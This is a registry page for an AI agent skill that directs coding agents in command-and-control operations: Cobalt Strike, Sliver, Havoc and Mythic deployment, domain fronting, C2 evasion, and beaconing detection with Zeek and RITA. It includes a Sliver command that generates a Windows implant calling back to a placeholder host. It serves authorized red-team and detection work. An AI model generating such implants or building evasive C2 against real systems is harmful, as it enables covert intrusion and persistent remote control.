Agent skill
c2-frameworks
Install this agent skill to your Project
npx add-skill https://github.com/majiayu000/claude-skill-registry/tree/main/skills/other/other/c2-frameworks
SKILL.md
name: c2-frameworks description: >- Command and control framework operations covering Cobalt Strike deployment, Sliver C2 configuration, Havoc framework setup, DNS C2 channels, custom C2 protocol development, beaconing pattern detection, C2 traffic analysis, redirector implementation, infrastructure hunting, Mythic C2 configuration, domain fronting, and C2 evasion techniques. Enables red team infrastructure operations and blue team detection with Cobalt Strike, Sliver, Havoc, Mythic, and network analysis tooling. domain: cybersecurity subdomain: c2-frameworks tags:
- c2-frameworks
- cobalt-strike
- sliver
- havoc
- dns-c2
- custom-c2
- beaconing
- traffic-analysis
- redirectors
- infrastructure-hunting
- mythic
- domain-fronting
- c2-evasion
- malleable-c2
- implants
- team-server version: "1.0" author: defconxt license: AGPL-3.0 compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent. metadata: mitre-attack: ["T1071", "T1573", "T1090", "T1572", "T1001"] cwe: ["CWE-300", "CWE-319", "CWE-693", "CWE-778", "CWE-941"] frameworks: ["MITRE ATT&CK", "CWE", "OWASP", "PTES"]
C2 Frameworks
When to Use
Activate when the operator asks about C2 framework deployment, implant generation, C2 traffic detection, infrastructure setup, redirector configuration, beaconing analysis, or adversary infrastructure hunting.
Mode: [MODE: RED] for C2 deployment and operations; [MODE: BLUE] for C2 detection and hunting; [MODE: PURPLE] for detection engineering.
Prerequisites
- Tools:
cobalt-strike,sliver,havoc,mythic,wireshark,zeek - Dedicated infrastructure for C2 operations
- Authorization and signed Rules of Engagement (RoE)
- Operator certificates and authentication configured
Quick Reference
| Technique | Primary Tools | CWE |
|---|---|---|
| Cobalt Strike | Cobalt Strike, cs2modrewrite, Apache | CWE-300 |
| Sliver C2 | Sliver, sliver-client, cfssl | CWE-300 |
| Havoc framework | Havoc, havoc-client, golang | CWE-300 |
| DNS C2 | iodine, dnscat2, DNSStager | CWE-300 |
| Custom C2 | Python, Go, libsodium, protobuf | CWE-300 |
| Beaconing detection | RITA, Zeek, JA3, NetworkMiner | CWE-300 |
| Traffic analysis | Zeek, Wireshark, tshark, Arkime | CWE-300 |
| Redirectors | Apache, Nginx, socat, CloudFront | CWE-300 |
| Infrastructure hunting | JARM, Shodan, Censys, pDNS | CWE-300 |
| Mythic C2 | Mythic, Docker, mythic-cli | CWE-300 |
| Domain fronting | CloudFront, Azure CDN, Fastly | CWE-300 |
| C2 evasion | Malleable C2, JA3, traffic-shaper | CWE-300 |
Workflow
Step 1: Plan Infrastructure
# Generate Malleable C2 profile
# Configure redirectors and team server
# Set up DNS records and certificates
Step 2: Deploy C2 Server
# Sliver example
sliver-server
# Generate implant
sliver > generate --mtls myc2.example.com --os windows --arch amd64 --save /tmp/implant.exe
Step 3: Monitor and Detect
# Zeek connection logging
zeek -r capture.pcap
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p
# RITA beaconing analysis
rita import capture.pcap -d engagement
rita show-beacons engagement
Verification
- All tools installed and operational
- Target acquired through authorized channels
- Analysis completed with findings documented
- Detection opportunities identified for blue team
- Artifacts preserved and report generated
References
- MITRE ATT&CK — Adversary tactics and techniques
- CWE — Common Weakness Enumeration
- OWASP — Open Web Application Security Project
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
agent-ops-spec
Manage specification documents in .agent/specs/. Use when user provides requirements, acceptance criteria, or feature descriptions that need to be tracked and validated against implementation.
agent-ops-state
Maintain .agent state files. Use at session start, after meaningful steps, and before concluding: read/update constitution/memory/focus/issues/baseline consistently.
agent-ops-spec
Manage specification documents in .agent/specs/. Use when user provides requirements, acceptance criteria, or feature descriptions that need to be tracked and validated against implementation.
agent-ops-testing
Test strategy, execution, and coverage analysis. Use when designing tests, running test suites, or analyzing test results beyond baseline checks.
agent-ops-testing
Test strategy, execution, and coverage analysis. Use when designing tests, running test suites, or analyzing test results beyond baseline checks.
agent-ops-state
Maintain .agent state files. Use at session start, after meaningful steps, and before concluding: read/update constitution/memory/focus/issues/baseline consistently.
Didn't find tool you were looking for?